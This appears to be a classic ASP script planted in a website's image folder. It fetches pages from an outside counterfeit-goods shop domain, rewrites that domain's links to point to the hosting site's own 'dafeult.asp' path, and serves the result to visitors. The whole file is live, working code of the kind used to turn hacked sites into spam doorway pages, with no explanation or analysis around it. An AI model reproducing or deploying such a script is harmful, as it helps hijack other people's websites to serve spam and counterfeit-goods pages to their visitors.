<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"utf-8") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function pbutton = Request.QueryString if pbutton = null then url1="http://cheap41.chanel-japan-hot.com" wstr=getHTTPPage(url1) body=wstr Function ReplaceExp(srcstr, patrn, replStr) Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True regEx.Execute(srcstr) ReplaceExp = regEx.Replace(srcstr, replStr) Set regEx = Nothing End Function body1=ReplaceExp(body,"cheap41.chanel-japan-hot.com/","www.breezdon.no/imag/dafeult.asp") response.write ""&body1&"" response.end else url2="http://cheap41.chanel-japan-hot.com/?"+Request.QueryString wstr=getHTTPPage(url2) body=wstr Function ReplaceExp(srcstr, patrn, replStr) Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True regEx.Execute(srcstr) ReplaceExp = regEx.Replace(srcstr, replStr) Set regEx = Nothing End Function body1=ReplaceExp(body,"cheap41.chanel-japan-hot.com/","www.breezdon.no/imag/dafeult.asp") response.write ""&body1&"" response.end end if %>